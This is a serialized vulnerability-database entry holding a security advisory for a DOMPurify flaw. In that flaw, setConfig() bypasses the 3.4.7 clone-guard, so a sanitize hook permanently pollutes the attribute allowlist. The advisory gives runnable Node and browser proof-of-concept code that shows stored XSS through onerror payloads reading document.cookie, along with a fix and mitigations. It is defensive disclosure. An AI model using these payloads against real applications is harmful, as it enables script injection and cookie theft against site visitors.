[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-CMWH-PVXP-8882":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T17:35:29.592Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":17,"related":18,"reserved_at":9,"published_at":23,"modified_at":24,"state":9,"summary":25,"references_raw":27,"kevs":39,"epss":9,"epss_history":40,"metrics":41,"affected":46},"GHSA-CMWH-PVXP-8882","DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)\n\n## Summary\n\nDOMPurify 3.4.7 shipped a security fix (\"permanent hook pollution\") that makes a registered `uponSanitizeAttribute` hook's mutation of `data.allowedAttributes` **non-persistent** — so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`.\n\nThat guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** — and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements.\n\nIf an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, …) for \"trusted\" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** — yielding stored XSS in viewers' browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.\n\n---\n\n## Affected configuration (preconditions)\n\nThe vulnerability is triggered when an application does **both**:\n\n1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and**\n2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker).\n\nThis hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.\n\n---\n\n## Root cause (source: `src/purify.ts`, v3.4.10)\n\nThe 3.4.7 clone-guard — only inside `_parseConfig`:\n\n```\n// src/purify.ts  _parseConfig()  (lines ~950-968)\n// \"if a hook is registered AND the set still points at the default constant, clone it.\n//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.\"\nif ( ... && hooks.uponSanitizeAttribute.length > 0) {\n  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961\n}\nif ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {\n  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968\n}\n```\n\n`sanitize()` skips `_parseConfig` on the persistent-config path:\n\n```\n// src/purify.ts  DOMPurify.sanitize()  (line 2369)\nif (!SET_CONFIG) {\n  _parseConfig(cfg);          // \u003C-- clone-guard lives in here; SKIPPED when SET_CONFIG is true\n}\n```\n\n`setConfig()` sets the flag that disables the guard:\n\n```\n// src/purify.ts  (lines 2596-2598)\nDOMPurify.setConfig = function (cfg = {}) {\n  _parseConfig(cfg);\n  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig\n};\n```\n\nThe hook is handed the **live** allowlist binding, and there is no secondary event-handler defense:\n\n```\n// src/purify.ts (line 2088) — hook event exposes the shared object by reference\nallowedAttributes: ALLOWED_ATTR,\n// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself\n// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.\n```\n\n**Net:** after `setConfig()`, the clone-guard never runs, so the hook's `allowedAttributes` mutation is a permanent write to the instance's shared `ALLOWED_ATTR`.\n\n---\n\n## Proof of Concept\n\nEnvironment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance).\n\n### PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)\n\n```js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst DP = createDOMPurify(new JSDOM('').window);\n\n// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements\nDP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDP.addHook('uponSanitizeAttribute', (node, data) => {\n  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {\n    data.allowedAttributes['onerror'] = true;        // intended: trusted-only\n  }\n});\n\n// 1) A trusted widget is rendered once\nDP.sanitize('\u003Cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\">');\n\n// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance\nconsole.log(DP.sanitize('\u003Cimg src=\"x\" onerror=\"alert(document.cookie)\">'));\n// OUTPUT:  \u003Cimg src=\"x\" onerror=\"alert(document.cookie)\">     \u003C-- onerror SURVIVES -> XSS\n```\n\n### PoC 2 — it is a DOMPurify state-leak, not \"the app allowed `on*`\" (attribute-agnostic)\n\n```js\n// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).\n// The leak is identical -> the defect is a shared-state mutation in DOMPurify,\n// independent of which attribute the hook touches.\nDP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\nDP.addHook('uponSanitizeAttribute', (n, d) => {\n  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n});\nDP.sanitize('\u003Cspan data-trusted=\"1\" title=\"ok\">x\u003C/span>');\nconsole.log(DP.sanitize('\u003Cspan title=\"leaked\">x\u003C/span>'));   // -> \u003Cspan title=\"leaked\">x\u003C/span>  (leaked)\n```\n\n### PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds\n\n```js\nconst DP2 = createDOMPurify(new JSDOM('').window);\nDP2.addHook('uponSanitizeAttribute', (n, d) => {\n  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n});\nDP2.sanitize('\u003Cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nconsole.log(DP2.sanitize('\u003Cimg src=\"x\" onerror=\"alert(1)\">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));\n// OUTPUT:  \u003Cimg src=\"x\">     \u003C-- onerror correctly STRIPPED. setConfig() is the trigger.\n```\n\n### Persistence (observed)\n\n- The leak **persists after `removeAllHooks()`** — removing the hook does not clean the polluted allowlist.\n- It is **global / cross-element** — a polluted `onmouseover` survives on `\u003Ca>` and `\u003Cdiv>`, not only the originally-blessed `\u003Cimg>`.\n- It persists for the **instance lifetime** (survived 5/5 subsequent default calls).\n- `clearConfig()` **does** restore a clean state (this is the bound of the impact).\n\n---\n\n## Impact\n\nStored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final — no secondary control prevents execution. `onerror` on a broken-`src` `\u003Cimg>` fires with no user interaction (browser-confirmed; see Validation).\n\n**Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: ['onerror'] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist — the poisoned `ALLOWED_ATTR` is the sole gate.\n\n---\n\n## Realistic attack scenario\n\nA platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:\n\n1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`.\n2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted=\"1\"`, intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.\n3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `\u003Cimg src=x onerror=...>` passes sanitization and executes for all viewers.\n\n---\n\n## Remediation\n\nExtend the existing clone-guard to the persistent-config (`SET_CONFIG`) fast-path: when `sanitize()` skips `_parseConfig` but an `uponSanitizeAttribute` hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in `_parseConfig`.\n\n```js\n// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:\nif (!SET_CONFIG) {\n  _parseConfig(cfg);\n} else if (hooks.uponSanitizeAttribute.length > 0) {\n  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would\n  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.\n  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {\n    ALLOWED_ATTR = clone(ALLOWED_ATTR);\n  }\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n}\n```\n\n(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of `ALLOWED_ATTR`/`ALLOWED_TAGS` whenever `SET_CONFIG` is true, mirroring the 3.4.7 intent.)\n\nA regression test should reproduce PoC 1 and assert the attacker call returns `\u003Cimg src=\"x\">`. Note the existing 3.4.7 regression test (\"unguarded attribute hook does not poison subsequent default-config calls\") never exercises `setConfig()` — adding a `setConfig` variant closes the gap.\n\n**Application-side mitigation until patched:** prefer `data.keepAttr = true` (per-element, non-persistent) over `data.allowedAttributes[name] = true` inside hooks; or call `DOMPurify.clearConfig()` between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.\n\n---\n\n## Limitations\n\n- Requires the two-part precondition above (persistent `setConfig()` **and** a hook writing `data.allowedAttributes[...]`). Not a default-config bypass.\n- Impact is bounded by `clearConfig()`, which restores a clean state. The earlier-considered \"survives `clearConfig()`\" claim did **not** reproduce and is withdrawn.\n- A position could be adopted to \"use `data.keepAttr=true`, not `allowedAttributes[]`.\" However, the 3.4.7 security fix exists precisely to defend the `allowedAttributes[]` hook pattern in the per-call path; leaving the `setConfig` path unguarded is an incomplete fix of an acknowledged security issue.\n\n## Validation\n\n- **Integrity:** the tested `dompurify@3.4.10` `dist/purify.cjs.js` (md5 `ab0e7b1cde1cbcace0f62b6aac284143`) and browser `dist/purify.min.js` (md5 `b0985f80fa48e6e7b263f8f6a64b779e`) are byte-identical to a freshly `npm pack`-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.\n- **Node (mechanism):** PoCs 1–3 reproduce deterministically; `DOMPurify.isValidAttribute('img','onerror','x')` flips `false → true` after a single trusted render under `setConfig()`, proving the shared attribute gate is poisoned. Leak survives `removeAllHooks()`, is cross-element, persists for the instance lifetime, and is reset only by `clearConfig()`.\n- **Real browser (impact):** in Chrome with DOMPurify 3.4.10, assigning the attacker output to `innerHTML` **executes** the surviving `onerror` (sentinel `window.__fired = [\"ATTACKER-onerror\"]`; `onerror` DOM property is a `function`), with no user interaction. The no-`setConfig` A/B control does not fire — execution is attributable to the `setConfig` leak, not a harness artifact.\n\n---\n\n## Appendix A — Node PoC (complete, runnable)\n\n```js\n// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst freshDP = () => createDOMPurify(new JSDOM('').window);\nconst log = (s) => console.log(s);\nlog('DOMPurify ' + freshDP().version + '\\n');\n\n// PoC 1 — the leak: trusted render permanently allows onerror on attacker content\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (node, data) => {\n    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {\n      data.allowedAttributes['onerror'] = true;            // intended: trusted-only\n    }\n  });\n  DP.sanitize('\u003Cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\">');            // trusted render\n  const attacker = DP.sanitize('\u003Cimg src=\"x\" onerror=\"alert(document.cookie)\">');  // attacker, no data-trusted\n  log('[PoC1] attacker output  : ' + attacker);\n  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));\n  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\\n');\n}\n\n// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not \"the app allowed on*\"\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\n  DP.addHook('uponSanitizeAttribute', (n, d) => {\n    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n  });\n  DP.sanitize('\u003Cspan data-trusted=\"1\" title=\"ok\">x\u003C/span>');\n  log('[PoC2] benign title leaks: ' + DP.sanitize('\u003Cspan title=\"leaked\">x\u003C/span>') + '\\n');\n}\n\n// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds\n{\n  const DP = freshDP();\n  DP.addHook('uponSanitizeAttribute', (n, d) => {\n    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003Cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  const ctrl = DP.sanitize('\u003Cimg src=\"x\" onerror=\"alert(1)\">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\\n');\n}\n\n// Persistence: survives removeAllHooks(); reset only by clearConfig()\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (n, d) => {\n    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003Cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\">');\n  DP.removeAllHooks();\n  let leaks = 0;\n  for (let i = 0; i \u003C 5; i++) if (/onerror/.test(DP.sanitize('\u003Cimg src=\"x\" onerror=\"alert('+i+')\">'))) leaks++;\n  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');\n  DP.clearConfig();\n  log('[persist] after clearConfig(): ' + DP.sanitize('\u003Cimg src=\"x\" onerror=\"alert(1)\">') + '  (reset)');\n}\n```\n\nExpected output:\n```\n[PoC1] attacker output  : \u003Cimg src=\"x\" onerror=\"alert(document.cookie)\">\n[PoC1] onerror survived : true\n[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)\n[PoC2] benign title leaks: \u003Cspan title=\"leaked\">x\u003C/span>\n[PoC3] control output   : \u003Cimg src=\"x\">   stripped: true\n[persist] survived 5/5 calls after removeAllHooks()\n[persist] after clearConfig(): \u003Cimg src=\"x\">  (reset)\n```\n\n## Appendix B — Browser PoC (complete; confirms execution)\n\n```html\n\u003C!doctype html>\u003Chtml>\u003Chead>\u003Cmeta charset=\"utf-8\">\n\u003Cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js\">\u003C/script>\n\u003C/head>\u003Cbody>\u003Cpre id=\"out\">\u003C/pre>\n\u003Cscript>\nconst log = (s) => document.getElementById('out').textContent += s + '\\n';\nwindow.__fired = [];\nwindow.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal\nlog('DOMPurify ' + DOMPurify.version);\n\n// App init: persistent policy + a hook allowing onerror ONLY for trusted elements\nDOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDOMPurify.addHook('uponSanitizeAttribute', (node, data) => {\n  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;\n});\n\nDOMPurify.sanitize('\u003Cimg data-trusted=\"1\" src=\"x\" onerror=\"0\">');                 // one trusted render\nconst out = DOMPurify.sanitize('\u003Cimg src=\"x\" onerror=\"alert(\\'XSS:\\'+document.domain)\">');  // attacker\nlog('attacker sanitized output: ' + out);\nconst host = document.createElement('div');\nhost.innerHTML = out;                            // surviving onerror arms on the broken-src img\ndocument.body.appendChild(host);\n\nsetTimeout(() => {\n  log('handlers fired: ' + JSON.stringify(window.__fired));\n  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');\n}, 500);\n\u003C/script>\u003C/body>\u003C/html>\n```\n\nObserved: `handlers fired: [\"alert:XSS:\u003Cdomain>\"]` → **RESULT: XSS EXECUTED** (no user interaction). The same harness without the `setConfig()` line strips `onerror` and does not fire.",null,[],[],[],[],[15],{"_key":16},"CVE-2026-65898",[],[19,21],{"_key":20},"CGA-V23J-FV38-C5Q4",{"_key":22},"CGA-CG8P-7XP5-JGF3","2026-06-18T14:27:37Z","2026-06-22T13:29:14.499705773Z",{"cisa_kev":26,"cisa_ransomware":26,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[28,34],{"url":29,"sources":30,"tags":32},"https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882",[31],"osv_npm",[33],"WEB",{"url":35,"sources":36,"tags":37},"https://github.com/cure53/DOMPurify",[31],[38],"PACKAGE",[],[],[42],{"source":31,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":9,"cvss_v4_0":43},{"baseScore":44,"baseSeverity":9,"vectorString":45,"impactScore":9,"exploitabilityScore":9},5.1,"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",[47],{"ecosystem":48,"name":49,"vendor":48,"product":49,"cpe_part":9,"purl_type":50,"purl_namespace":9,"purl_name":49,"source":9,"versions":51},"Npm","dompurify","npm",[52],{"version":53,"is_range":54,"range_type":55,"version_start":9,"version_start_type":9,"version_end":56,"version_end_type":57,"fixed_in":9},"lt3_4_11",true,"semver","3.4.11","excluding"]